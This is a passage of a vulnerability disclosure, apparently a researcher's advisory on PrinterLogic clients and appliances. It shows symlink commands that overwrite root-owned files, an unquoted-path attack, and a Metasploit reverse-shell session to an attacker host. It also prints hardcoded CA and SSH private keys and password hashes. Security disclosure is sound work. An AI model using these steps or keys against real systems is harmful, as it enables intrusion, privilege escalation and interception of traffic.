`/opt/PrinterInstallerClient/tmp/responses/` output file. We will use the 
filename `1-1`.

Creating a symbolic link inside `/opt/PrinterInstallerClient/tmp/responses/`:

    user@laptop responses % ln -s /tmp/test 
/opt/PrinterInstallerClient/tmp/responses/1-1

Creating a new task with /opt/PrinterInstallerClient/tmp/requests/1-1:

    user@laptop ~ % echo -n GET_CONTEXT_MENU_ITEMS > 
/opt/PrinterInstallerClient/tmp/requests/1-1

By checking the logs, we can confirm the symbolic link has been followed:

    2021-12-10 22:00:08,035 (INFO): Received request: GET_CONTEXT_MENU_ITEMS
    2021-12-10 22:00:08,043 (INFO): Creating task:
    Command: 'GET_CONTEXT_MENU_ITEMS'
    Arguments: 
    User ID: 501
    Group ID: 20
    Use UI: True
    Origin: 'PLUGIN'
    2021-12-10 22:00:08,056 (INFO): Done with request: GET_CONTEXT_MENU_ITEMS
    2021-12-10 22:00:08,082 (DEBUG): Opening pipe at 
/opt/PrinterInstallerClient/tmp/responses/1-1 to write response
    2021-12-10 22:00:08,102 (DEBUG): Writing plugin response to pipe at: 
b'1\n2\n[]'
    2021-12-10 22:00:08,115 (DEBUG): Done writing response to pipe

And the /tmp/test file has been overwritten:

    root@laptop /tmp # ls -la /tmp/test
    -rw-------  1 root  wheel  6 Dec 10 22:00 /tmp/test
    root@laptop /tmp # cat /tmp/test
    1
    2
    []
    root@laptop /tmp #

The potential misuse depends on the output of the task. 

Any local user can overwrite files as root.

By overwriting specific files, it is possible to change the configuration of 
programs and get a Local Privilege Escalation. For example, an attacker 
updating the homeurl variable used by PrinterLogic to a malicious HTTP server 
will be able to insert malicious programs inside drivers.



## Details - Outdated OpenSSL version

When running the daemons manually, some warning messages will appear.

Warning messages about OpenSSL:

    user@laptop data % 
/opt/PrinterInstallerClient/service_interface/modules/PrinterLogicIdpAuthentication/PrinterLogicIdpAuthentication
 current-user http://192.168.100.1 501
    
/opt/PrinterInstallerClient/service_interface/modules/PrinterLogicIdpAuthentication/cryptography/hazmat/bindings/openssl/binding.py:177:
 CryptographyDeprecationWarning: OpenSSL version 1.0.2 is no longer supported 
by the OpenSSL project, please upgrade. The next version of cryptography will 
drop support for it.

By analyzing the openssl library at 
`/opt/PrinterInstallerClient/lib/libcrypto.1.0.0.dylib`, it appears the version 
is `OpenSSL 1.0.2h-fips  3 May 2016`.

This is also confirmed by reading the file 
`/opt/PrinterInstallerClient/bin/install_fips_openssl.sh`:

[code:shell]
 21 # Check for existing openssl installation
 22 echo "Checking for OpenSSL 1.0.2 with fips wrapper in /usr/local/ssl"
 23 if [[ -f /usr/local/ssl/bin/openssl ]]; then
 24     valid_openssl=$(/usr/local/ssl/bin/openssl version | grep "1.0.2" | 
grep "-fips")
 25     if [[ ! -z ${valid_openssl} ]]; then
 26         echo "  Congrats, you already have '${valid_openssl}' installed!"
 27         exit 0
 28     else
 29         echo "  Replacing $(/usr/local/ssl/bin/openssl version) 
installation found in /usr/local/ssl"
 30         sudo rm -rf /usr/local/ssl
 31     fi
 32 fi
 33 
 34 
 35 # Get all the fun stuff set up
 36 _OPENSSL_FIPS_VERSION="2.0.12"
 37 _OPENSSL_VERSION="1.0.2h" # [1] <------------------ OpenSSL 1.0.2h
 38 _OPENSSL_FIPS_NAME="openssl-fips-${_OPENSSL_FIPS_VERSION}"
 39 _OPENSSL_NAME="openssl-${_OPENSSL_VERSION}"
 40 _OPENSSL_FIPS_TAR="${_OPENSSL_FIPS_NAME}.tar.gz"
 41 _OPENSSL_TAR="${_OPENSSL_NAME}.tar.gz"
 42 _OPENSSL_SOURCE_URL="https://www.openssl.org/source/";
 43 _CURRENT=$(pwd)
[...]
 46 # Download the files from openssl
 47 echo "Downloading OpenSSL source from ${_OPENSSL_SOURCE_URL}"
 48 if [[ "${_OS}" == "OSX" ]]; then
 49     curl ${_OPENSSL_SOURCE_URL}${_OPENSSL_TAR} -O
 50     curl ${_OPENSSL_SOURCE_URL}${_OPENSSL_FIPS_TAR} -O
[...]
 69 # Compile and install fips wrapper, then openssl
 70 echo "Configuring and Installing OpenSSL from source"
 71 if [[ "${_OS}" == "OSX" ]]; then
 72     cd ${_CURRENT}/${_OPENSSL_FIPS_NAME} \
 73         && chmod +x Configure \
 74         && ./Configure darwin64-x86_64-cc \
 75         && make \
 76         && sudo make install
 77     cd ${_CURRENT}/${_OPENSSL_NAME} \
 78         && chmod +x Configure \
 79         && ./Configure darwin64-x86_64-cc shared fips \
 80         && make depend \
[/code]

This version of OpenSSL is EOL since 2019.

The solution is based on an outdated and unsupported OpenSSL library.



## Vulnerabilities affecting the Windows client

## Identification of the solution

The laptop is running Windows 10 and the Printerlogic version is 25.0.0.426.

Only a superficial analysis was performed on Printerlogic since this security 
assessment was mainly done against the default installation of a Windows 10 
laptop and Printerlogic was a small part of this audit.

## Details - Insecure PrinterInstallerClientInterface.exe, 
PrinterInstallerClient.exe and PrinterInstallClientLauncher.exe

The laptop uses PrinterLogic to automatically download and configure printer 
drivers.

The PrinterLogic website is available at 
https://[redacted].printercloud10.com/:       

This solution is made of different components:

- - A PHP back-end (out of scope),
- - An extension in the browser (Chrome, Edge, Firefox),
- - 3 Different process are running on the laptop:
- - - PrinterInstallerClientInterface.exe, as `DOMAIN\user`
- - - PrinterInstallerClient.exe, as `NT AUTHORITY\SYSTEM`
- - - PrinterInstallerClientLauncher.exe, as `NT AUTHORITY\SYSTEM`

By default, these 3 programs running on the laptop have no security at all:

- - 32-bits
- - No Data Execution Prevention
- - No Address Space Layout Randomization
- - No Control Flow Guard
- - No Stack Protection

Here is PrinterInstallerClient.exe running as `NT AUTHORITY\SYSTEM`:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

Furthermore, these programs are a mix of outdated technologies:

- - Pascal;
- - Delphi;
- - Python 2.



## Details - Local Privilege Escalation with insecure use of 
C:\Windows\Temp\PPP\Log

When these 3 programs are analyzed, the logs are written into disk as `NT 
AUTHORITY\SYSTEM` into `C:\Windows\Temp\PPP\Log\`:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

All the users have full Read/Write access to these files/directories.

Permissions of `PrinterInstallerClient.log`:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

Writing of logs as `NT AUTHORITY\SYSTEM`:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

With a symbolic link, it is possible to redirect the writing of logs as `NT 
AUTHORITY\SYSTEM` and to overwrite any file in the system to get a Local 
Privilege Escalation.

The code also contains multiple race conditions that may allow Local Privilege 
Escalations.

Also, some DLL hijacking vulnerabilities have been identified.

An attacker can get Local Privilege Escalation.



## Details - Local Privilege Escalation with insecure use of 
C:\Users\%USER%\AppData\Local\Temp\

Another insecure file write has been identified in 
`C:\Users\%USER%\AppData\Local\Temp\`. These files are created as `NT 
AUTHORITY\SYSTEM` inside a directory under the control of the local user.

With a symbolic link, it is possible to redirect the writing of these files as 
`NT AUTHORITY\SYSTEM` and to overwrite any file in the system to get a Local 
Privilege Escalation:

Multiple files created in `C:\Users\%USER%\AppData\Local\Temp`:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

An attacker can get Local Privilege Escalation.



## Details - Remote Code Execution (Execution of C:\Program.exe during the 
installation of a driver)

When a driver of a printer is installed using PrinterLogic, the 
`PrinterInstallerClient.exe` will execute several programs using the PATH 
`C:\Program Files (x86)\Printer Properties Pro\Printer Installer`:

Command executed by `PrinterInstallerClient.exe`:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

Because the path is not quoted, the system will execute `C:\Program.exe` before 
executing programs located inside `C:\Program Files (x86)\Printer Properties 
Pro\Printer Installer`:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

`C:\Program.exe` executed by `PrinterInstallerClient.exe`:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

This will allow an attacker to get a Remote Code Execution using Metasploit 
after placing a rogue program into `C:\Program.exe`.

Using a Metasploit agent as `C:\Program.exe`, the attacker will receive a 
command execution from the network when a printer driver is installed:

    msf6 > use exploit/multi/handler
    [*] Using configured payload generic/shell_reverse_tcp
    msf6 exploit(multi/handler) > set payload windows/shell/reverse_tcp
    payload => windows/shell/reverse_tcp
    msf6 exploit(multi/handler) > set LHOST 192.168.100.1
    LHOST => 192.168.100.1
    msf6 exploit(multi/handler) > set LPORT 10000
    LPORT => 10000
    msf6 exploit(multi/handler) > run
    
    [*] Started reverse TCP handler on 192.168.100.1:10000
    [*] Encoded stage with x86/shikata_ga_nai
    [*] Sending encoded stage (267 bytes) to 192.168.100.28
    [*] Command shell session 1 opened (192.168.100.1:10000 -> 
192.168.100.28:65282 ) at 2021-11-26 05:19:14 -0500
    
    
    Shell Banner:
    Microsoft Windows [Version 10.0.19043.1348]
    -----
    
    
    C:\Program Files (x86)\Printer Properties Pro\Printer Installer 
Client\bin\idp>whoami
    whoami
    [redacted]
    
    C:\Program Files (x86)\Printer Properties Pro\Printer Installer 
Client\bin\idp>exit
    exit
    
    [*] 192.168.100.28 - Command shell session 1 closed.  Reason: User exit
    msf6 exploit(multi/handler) >

Note that the attacker needs to place a `C:\Program.exe` file inside the target 
machine.



## Details - Hardcoded Private key for the PrinterLogic CA and Hardcoded 
password

The configuration file of PrinterLogic can be found in 
`C:\Windows\Temp\Data\clientsettings.dat`. It is an XML file containing some 
values:

Content of `C:\Windows\Temp\Data\clientsettings.dat`:

    <?xml version="1.0" encoding="utf-8"?>
    <result code="1">
      <desc>Successful</desc>
      <account_settings>
        <setting name="serverType">saas</setting>
        <setting name="admin_prot">Any (specified by url)</setting>
        <setting name="app_url">https://[redacted].printercloud10.com</setting>
        <setting name="badge_ad_object"/>
        <setting name="badge_password">SET</setting>
    [...]
        <setting name="snmp_3_authentication_key">[redacted]</setting>
        <setting name="snmp_3_authentication_protocol">sha</setting>
        <setting name="snmp_3_context_engineID"/>
        <setting name="snmp_3_context_name">mfpdirect</setting>
        <setting name="snmp_3_enabled">1</setting>
        <setting name="snmp_3_privacy_key">[redacted]</setting>

Furthermore it contains a custom CA and its associated private key:

        <setting name="caCertificate">-----BEGIN CERTIFICATE-----
    MIIF+DCCA+CgAwIBAgIBADANBgkqhkiG9w0BAQ0FADCBlDELMAkGA1UEBhMCVVMx
    DTALBgNVBAgMBFV0YWgxEzARBgNVBAcMClN0LiBHZW9yZ2UxFTATBgNVBAoMDFBy
    aW50ZXJMb2dpYzEZMBcGA1UECwwQUHJpbnRlckluc3RhbGxlcjEvMC0GA1UEAwwm
    UHJpbnRlckluc3RhbGxlciBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcNMjEwNjA4
    MDEwOTExWhcNNDEwNjAzMDEwOTExWjCBlDELMAkGA1UEBhMCVVMxDTALBgNVBAgM
    BFV0YWgxEzARBgNVBAcMClN0LiBHZW9yZ2UxFTATBgNVBAoMDFByaW50ZXJMb2dp
    YzEZMBcGA1UECwwQUHJpbnRlckluc3RhbGxlcjEvMC0GA1UEAwwmUHJpbnRlcklu
    c3RhbGxlciBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUA
    [...]
    ocC5e+TosH3ISmcx/Y0rRYzKVOzW77v18ijozAKlG4usf/vPFaZD+72IaTM=
    -----END CERTIFICATE-----
    </setting>
        <setting name="cac_filter"/>
        <setting name="cac_issuers"/>
        <setting name="cac_subjects"/>
        <setting name="caPrivateKey">-----BEGIN PRIVATE KEY-----
    MIIJQwIBADANBgkqhkiG9w0BAQEFAASCCS0wggkpAgEAAoICAQCs4uTY7wGVIs14
    OPZnEx33WwXg3b5aAEEw6uTiwgutiZojUoAJ7hytkEK7KDOB1TL7/IphKmtJdkix
    LgZYiLtRjzejOeQNPNbvROg/TtBADTalWp6d7j3Sr8a6yz0lwbMYgdpmu1M9kxAg
    c10PX2tbjcnGfP2LQ5eXofHkkyvGtCaEo9RSs0DOLsIrK9Y6yctz+tKhYca0wPjI
    [...]
    a6+mSov2DwmlJJ+y5MvYSXhh5kg0xbulg/kr8jWY0hfopQGAHT2eUmlMaS3ZCxIk
    FqmTjGpNQnxLd+LS+YEKyjZsfs/5srqTzyVnn+D2TNeWpbinUESX3hQxXsdU5vDr
    2lS4nryEiEh2058Cq6Z4zsBtsjNgtAg=
    -----END PRIVATE KEY-----

It is possible to confirm this private key is the private key of the public CA 
by checking modulus - they have the same modulus value:

    kali% openssl rsa -noout -modulus -in CA.key
    
Modulus=ACE2E4D8EF019522CD7838F667131DF75B05E0DDBE5A004130EAE4E2C20BAD899A23528009EE1CAD9042BB283381D532FBFC8A612A6B497648B12E065888BB518F37A339E40D3CD6EF44E83F4ED0400D36A55A9E9DEE3DD2AFC6BACB3D25C1B31881DA66BB533D931020735D0F5F6B5B8DC9C67CFD8B439797A1F1E4932BC6B42684A3D452B340CE2EC22B2BD63AC9CB73FAD2A161C6B4C0F8C8AA9D084017C76829EC926AAB58C9545363D6F5BDDC218F7AA82235AAF9486012709B8F6D0BA5AAF3806590D1E667F173EE2E7A68003A17D3B8EA238352B26F69BC03B3B37A312BB3A026AD0B891C8A283CE69AFA8DE9E0A566E9DC4E99EF26E887E7D7F2C786998BB440DD7F8A9009E4F6790F2F51A06ECD03AEA1FC46035B1BA72F43A8DF0EAC662DCB2F22E5E42BED8B04F7AF2D10EE97007499DE30A3A6225D61FB2856D3563D5E7855FFDA3DB8D599D064471F524E01DF2944F7BC70BC454F2F1CDA8CA0D5737A23E6280C25FCCAD5C1C439F5CE01CBE0348DC190508E73506EAF7060129B63661AF1AE2EA2E4F7695B3A66772A501F33FF13A2947600C8425BC1E7F1B3E664C84A9A284ADAA3352F5C0C6A07991800CDD0DA207497673FAFE046522B57F8C20AC3E14B98F25BA07B58650D0F9CEEA234A41CD268E9507E53BDAB9B46FF0DB39875E3C1AA719376AF6C240A8C99D13D8F525F2E7037523F12CB9855AFBB
    kali% openssl x509 -noout -modulus -in CA.crt
    
Modulus=ACE2E4D8EF019522CD7838F667131DF75B05E0DDBE5A004130EAE4E2C20BAD899A23528009EE1CAD9042BB283381D532FBFC8A612A6B497648B12E065888BB518F37A339E40D3CD6EF44E83F4ED0400D36A55A9E9DEE3DD2AFC6BACB3D25C1B31881DA66BB533D931020735D0F5F6B5B8DC9C67CFD8B439797A1F1E4932BC6B42684A3D452B340CE2EC22B2BD63AC9CB73FAD2A161C6B4C0F8C8AA9D084017C76829EC926AAB58C9545363D6F5BDDC218F7AA82235AAF9486012709B8F6D0BA5AAF3806590D1E667F173EE2E7A68003A17D3B8EA238352B26F69BC03B3B37A312BB3A026AD0B891C8A283CE69AFA8DE9E0A566E9DC4E99EF26E887E7D7F2C786998BB440DD7F8A9009E4F6790F2F51A06ECD03AEA1FC46035B1BA72F43A8DF0EAC662DCB2F22E5E42BED8B04F7AF2D10EE97007499DE30A3A6225D61FB2856D3563D5E7855FFDA3DB8D599D064471F524E01DF2944F7BC70BC454F2F1CDA8CA0D5737A23E6280C25FCCAD5C1C439F5CE01CBE0348DC190508E73506EAF7060129B63661AF1AE2EA2E4F7695B3A66772A501F33FF13A2947600C8425BC1E7F1B3E664C84A9A284ADAA3352F5C0C6A07991800CDD0DA207497673FAFE046522B57F8C20AC3E14B98F25BA07B58650D0F9CEEA234A41CD268E9507E53BDAB9B46FF0DB39875E3C1AA719376AF6C240A8C99D13D8F525F2E7037523F12CB9855AFBB
    kali%

Description of the CA:

    kali% openssl x509 -in CA.crt -text -noout
    Certificate:
        Data:
            Version: 3 (0x2)
            Serial Number: 0 (0x0)
            Signature Algorithm: sha512WithRSAEncryption
            Issuer: C = US, ST = Utah, L = St. George, O = PrinterLogic, OU = 
PrinterInstaller, CN = PrinterInstaller Certificate Authority
            Validity
                Not Before: Jun  8 01:09:11 2021 GMT
                Not After : Jun  3 01:09:11 2041 GMT
            Subject: C = US, ST = Utah, L = St. George, O = PrinterLogic, OU = 
PrinterInstaller, CN = PrinterInstaller Certificate Authority
            Subject Public Key Info:
                Public Key Algorithm: rsaEncryption
                    RSA Public-Key: (4096 bit)
                    Modulus:
                        00:ac:e2:e4:d8:ef:01:95:22:cd:78:38:f6:67:13:
                        1d:f7:5b:05:e0:dd:be:5a:00:41:30:ea:e4:e2:c2:
                        0b:ad:89:9a:23:52:80:09:ee:1c:ad:90:42:bb:28:
                        33:81:d5:32:fb:fc:8a:61:2a:6b:49:76:48:b1:2e:
                        06:58:88:bb:51:8f:37:a3:39:e4:0d:3c:d6:ef:44:
                        e8:3f:4e:d0:40:0d:36:a5:5a:9e:9d:ee:3d:d2:af:
    [...]
                        ff:0d:b3:98:75:e3:c1:aa:71:93:76:af:6c:24:0a:
                        8c:99:d1:3d:8f:52:5f:2e:70:37:52:3f:12:cb:98:
                        55:af:bb
                    Exponent: 65537 (0x10001)
            X509v3 extensions:
                X509v3 Subject Key Identifier: 
                    E7:D5:61:DF:25:55:26:00:96:89:09:0C:B1:E2:8F:35:AD:E7:1B:16
                X509v3 Authority Key Identifier: 
                    
keyid:E7:D5:61:DF:25:55:26:00:96:89:09:0C:B1:E2:8F:35:AD:E7:1B:16
    
                X509v3 Basic Constraints: 
                    CA:TRUE, pathlen:0
        Signature Algorithm: sha512WithRSAEncryption
             33:d4:53:d0:d5:f0:08:45:b9:c3:3c:90:3c:17:da:af:84:74:

The same parameters can be found in `C:\Program Files (x86)\Printer Properties 
Pro\Printer Installer Client\defaults.ini`:

Content of `C:\Program Files (x86)\Printer Properties Pro\Printer Installer 
Client\defaults.ini`:

    badge_username=SET
    caCertificate=-----BEGIN CERTIFICATE-----
    MIIF+DCCA+CgAwIBAgIBADANBgkqhkiG9w0BAQ0FADCBlDELMAkGA1UEBhMCVVMx
    DTALBgNVBAgMBFV0YWgxEzARBgNVBAcMClN0LiBHZW9yZ2UxFTATBgNVBAoMDFBy
    aW50ZXJMb2dpYzEZMBcGA1UECwwQUHJpbnRlckluc3RhbGxlcjEvMC0GA1UEAwwm
    UHJpbnRlckluc3RhbGxlciBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkwHhcNMjEwNjA4
    MDEwOTExWhcNNDEwNjAzMDEwOTExWjCBlDELMAkGA1UEBhMCVVMxDTALBgNVBAgM
    [...]
    cac_subjects=
    caPrivateKey=-----BEGIN PRIVATE KEY-----
    MIIJQwIBADANBgkqhkiG9w0BAQEFAASCCS0wggkpAgEAAoICAQCs4uTY7wGVIs14
    OPZnEx33WwXg3b5aAEEw6uTiwgutiZojUoAJ7hytkEK7KDOB1TL7/IphKmtJdkix
    LgZYiLtRjzejOeQNPNbvROg/TtBADTalWp6d7j3Sr8a6yz0lwbMYgdpmu1M9kxAg
    c10PX2tbjcnGfP2LQ5eXofHkkyvGtCaEo9RSs0DOLsIrK9Y6yctz+tKhYca0wPjI
    qp0IQBfHaCnskmqrWMlUU2PW9b3cIY96qCI1qvlIYBJwm49tC6Wq84BlkNHmZ/Fz
    [...]
    snmp_3_authentication_key=[redacted]
    snmp_3_authentication_protocol=sha
    snmp_3_context_engineID=
    snmp_3_context_name=mfpdirect
    snmp_3_enabled=1
    snmp_3_privacy_key=[redacted]
    snmp_3_privacy_protocol=aes
    snmp_3_security_level=noAuthNoPriv
    snmp_3_username=SET
    snmp_alerts_default_state=1
    snmp_alerts_enabled=1
    snmp_attempts=5

The program PrinterLogic may use this CA to transmit data securely.

It may allow an attacker to intercept data.



## Security assessment done in 2022

## Identification of the solution

The audited PrinterLogic version is 20.0.1305.

The audited host version is 1.0.730.

This PrinterLogic version has been retrieved from 
https://docs.printerlogicva.com/1-Printerlogic/Release_Notes/VA_Latest_Builds.htm
 (OpenBuild 20.0.1305: January 19, 2022).

The update file can be directly retrieved from 
https://appliance-cdn.printercloud.com/virtual-appliance-services/releases/20.0.1305/20.0.1305.gpg.

The host version has been retrieved from 
https://docs.printerlogicva.com/1-Printerlogic/Release_Notes/VA_Latest_Host_Builds.htm
 (Build 1.0.730: December 30th, 2021).

Checksums of the audited versions:

    cc52eed590dc79970df01e7099e36e09a75cf453ebbdabd7dca565341c45ae9e  
20.0.1305.gpg
    7aac6cfee6d3c16978732215dc5fe63729a5c505afef2d91e99eef9b1eced7a7  
printerinstaller-1.0.730.ova

The update file has been decrypted using the hardcoded GPG key 
`45066ADCF538743121004158DD3BA4C62EA82177.key` and the extracted Docker 
instances have been audited.

The solutions use several Docker instances - all the instances have been made 
up to date, as shown below:

PrinterLogic VA version

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

PrinterLogic SaaS version on [redacted].printerlogic10.com

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]



## Structure of the report

There are 2 versions of PrinterLogic:

- - PrinterLogic Virtual Appliance (`VA`); and
- - PrinterLogic SaaS.

These 2 versions share the same code base. Consequently, a vulnerability found 
in one version can be found in the other version with a high confidence.

This report lists the vulnerabilities common to the 2 versions and the 
vulnerabilities specific to the VA version.



## Vulnerabilities affecting PrinterLogic SaaS / PrinterLogic VA


## Details - Hardcoded password for the ubuntu user

The appliance contains an undocumented user (`ubuntu`) with a hardcoded 
password:

Content of `/etc/shadow`:

    kali# cat etc/shadow
    root:!:18987:0:99999:7:::
    daemon:*:18484:0:99999:7:::
    bin:*:18484:0:99999:7:::
    sys:*:18484:0:99999:7:::
    sync:*:18484:0:99999:7:::
    games:*:18484:0:99999:7:::
    man:*:18484:0:99999:7:::
    lp:*:18484:0:99999:7:::
    mail:*:18484:0:99999:7:::
    news:*:18484:0:99999:7:::
    uucp:*:18484:0:99999:7:::
    proxy:*:18484:0:99999:7:::
    www-data:*:18484:0:99999:7:::
    backup:*:18484:0:99999:7:::
    list:*:18484:0:99999:7:::
    irc:*:18484:0:99999:7:::
    gnats:*:18484:0:99999:7:::
    nobody:*:18484:0:99999:7:::
    systemd-network:*:18484:0:99999:7:::
    systemd-resolve:*:18484:0:99999:7:::
    syslog:*:18484:0:99999:7:::
    messagebus:*:18484:0:99999:7:::
    _apt:*:18484:0:99999:7:::
    uuidd:*:18987:0:99999:7:::
    ntp:*:18987:0:99999:7:::
    sshd:*:18987:0:99999:7:::
    statd:*:18987:0:99999:7:::
    
ubuntu:$6$FGlSuvGG$loUn3.OwRauCaM0ZeaV739iM5NF2jCSqCFjslWkPAmnH1VlSiiHmHgar995hkTm3NwbIDkmR4LSZICLsMGcjt.:18989:0:99999:7:::
    alpine-www-data:*:18987:0:99999:7:::
    printerlogic:*:18989:0:99999:7:::
    network:saglzhyIcp5Ng:19012:0:99999:7:::
    kali#

This account is not documented. Futhermore, it has root privileges with sudo, 
without the password being requested:

Content of `/etc/shadow`:

    root@printerlogic:/var/www/efs_storage/.updates# cat /etc/sudoers
    [...]
    #includedir /etc/sudoers.d
    ubuntu        ALL=(ALL)       NOPASSWD: ALL
    %printerlogic_ssh ALL=(ALL) NOPASSWD: ALL
    root@printerlogic:/var/www/efs_storage/.updates#

An attacker who knows the password of an undocumented user (`ubuntu`) will get 
root access to the appliance using the console. Access using SSH seems to be 
non-working (`PasswordAuthentication` set to `no` and `AllowGroups` set to 
`printerlogic_ssh`).



## Details - Hardcoded SSH server keys

The private SSH keys are not specific for each installation but are hardcoded, 
allowing an attacker to decrypt SSH traffic to the appliance:

Private SSH keys:

    root@printerlogic:/etc/ssh# ls -latr
    total 584
    -rw-r--r--  1 root root   1580 Mar  4  2019 ssh_config
    -rw-r--r--  1 root root 553122 Mar  4  2019 moduli
    -rw-r--r--  1 root root    338 Dec 26 08:57 ssh_import_id
    -rw-r--r--  1 root root    399 Dec 26 08:57 ssh_host_rsa_key.pub
    -rw-------  1 root root   1675 Dec 26 08:57 ssh_host_rsa_key
    -rw-r--r--  1 root root    179 Dec 26 08:57 ssh_host_ecdsa_key.pub
    -rw-------  1 root root    227 Dec 26 08:57 ssh_host_ecdsa_key
    -rw-r--r--  1 root root     99 Dec 26 08:57 ssh_host_ed25519_key.pub
    -rw-------  1 root root    411 Dec 26 08:57 ssh_host_ed25519_key
    lrwxrwxrwx  1 root root     29 Dec 28 20:02 sshd_config -> 
/etc/printercloud/sshd_config
    drwxr-xr-x  2 root root   4096 Dec 28 20:02 .
    drwxr-xr-x 96 root root   4096 Jan 21 07:15 ..
    root@printerlogic:/etc/ssh# cat ssh_host_rsa_key
    -----BEGIN RSA PRIVATE KEY-----
    MIIEowIBAAKCAQEAs6TZ/BACNgh025HbJM2TAIRk3d9O4vyDgOabkUvsbEMVvatu
    M6DFewzMtlXqBKSrB+IEwqDspjGVZmgLLuT56Kxx5KGduloQgQla4hptG3MoG1u3
    eu4vgfWdwdBtgv8V+6gg1Crp4jjEw4XRgUFR1lkoDpHhqrHAwsjmveogoDCGmW9O
    /fcQ7wUqVgq8GAFawtoQS2kWIudUmnH1druX+pdUUkdtKwRHtyAJ9287/1woDUvI
    iDTm6l8Pc3yntOcV8wxvL6Jcj3/7I7GLYXO4d+Dg6MeTNkPzb7kURT9D4N/T3GHJ
    v9mZR2N2B/kzOM2Rr6khG5SRKwcZSSdaDwZHjQIDAQABAoIBAA4OcCARAJtJvhsQ
    Jp2SmFYKBfp2Zq3MJF4JrVKJJk6yURkuOMlBYzJlpf7+aflDCT7sqIKyJNI8Pvxs
    V7OrpwJVu/Ov0a+rLG9sU/gtKSxkrla1rn2n9X+twFJSBL+jRg0S8r6nPPW+i2bh
    Kat7ePPUthWtxIKetf6HycZCc5sVD0woKenbQ1YPAlDvOqQfblLsj0akK4MiS+6u
    K7enOVmCX4mcg3XI9jqbp9Bw90blMGcBSR+AeMunHjxv0+itm6mYVyOGWz+C5Pyh
    zRGYuHaTP5apZbbHmCsAlPVF/iazxa0A5EmZMIxpw6aB78VlMkhYAHNcdDXbdrVE
    NLnps+ECgYEA5u8cXQ96MOwuqZGwCd0wy1qT8sxDJOw78WF6pv9t2RV0kMS8g0pW
    Y8WPx2uJyXJrE4hKfT9rXniENdYxekcUBzLWiCOHMaY07pRsLizypR7WDtbD0JMX
    KBXH/g/z3Xvi1bkkC7rfjn0kUNImLs4DiUlp1NP+G/xO06AamHoFQ9cCgYEAxySP
    WN6nWVr7oFIOPKVYOdLDaNGlopI8aF2aiBW1iIsXITUUC7W5q9pOPfLldibgvaVF
    Ln1s3OgTEVl/FD45FMf/jP6nAq5HOukw6TdpApvzv5qNU5ofqt9Lv0BUaidjae4y
    GI2wcyWWmwM5V+uKJhN2X0gkQfJuKN5rtUuY4zsCgYALXvy7jFaM8CRADz9mzPBp
    IvWj//DScZtmAFHExVEIXmkV88oAgPmOAh1ZSW9IbwzcslpQnn3P8gk4iWp4ReWz
    kQpFO9KdXDzA/qfxAh+Uh9csdeDAdW2veJsXZHuyjTYXJf2jYjk9z+Wo4SAmL9i2
    utmuNB4QDLVo8Do/BcsakwKBgQCJvC+pN9ZnZxZCfH58U6AB3lRpWxdEqgA97v/C
    v8Ee/5Sv0xZaQwZ4ZjVXg3hRj/JBON3wma+B2sHVbiEGz0KLrQiDbF327LM3e7Ho
    m/p1Y4fjLfIxsJfWhzrMvKGmCjgoPCdJ9DXmbkkMTd6LgM28KBnnLO5m7lZizfOR
    IQhNoQKBgA6ZqrmgOlITCRazjdUMxBEu1+BXA1OuBsQSKTrX/YZxz7CQxWEyCQjE
    FKOvT5DC8VebtzEsrdHuTqs4KRJJOLqJyKMCfjaSHNsUnOaS5zHYp/tosx8t9wSp
    dMp80kPaKWB3E0s+hnQXh3STSsKzYyOolrLFXjvKkCrrNwgo2q/t
    -----END RSA PRIVATE KEY-----
    root@printerlogic:/etc/ssh# cat ssh_host_ecdsa_key
    -----BEGIN EC PRIVATE KEY-----
    MHcCAQEEIMyVpf/MN5oCJyCpnyVRdxECWvqbMKKCiyYlXBwUTnP6oAoGCCqGSM49
    AwEHoUQDQgAEI3uUiNK9u9pWjhL0Sq9TU6w0pyuwHrF5aOybhrPecG73htyEZuD2
    uLcF/mYPHRJ93eCVoWKaj6DtxhkGcEVKlQ==
    -----END EC PRIVATE KEY-----
    root@printerlogic:/etc/ssh# cat ssh_host_ed25519_key
    -----BEGIN OPENSSH PRIVATE KEY-----
    b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
    QyNTUxOQAAACDl9z93z/gIS+6k/vmGS2Cp/tU8MRN8ual0SAL3s4XQcQAAAJjmh/ND5ofz
    QwAAAAtzc2gtZWQyNTUxOQAAACDl9z93z/gIS+6k/vmGS2Cp/tU8MRN8ual0SAL3s4XQcQ
    AAAEC1L9xfXxOtAtTJbJv8JygidLOmF3lRX6iuYiUCL18SsuX3P3fP+AhL7qT++YZLYKn+
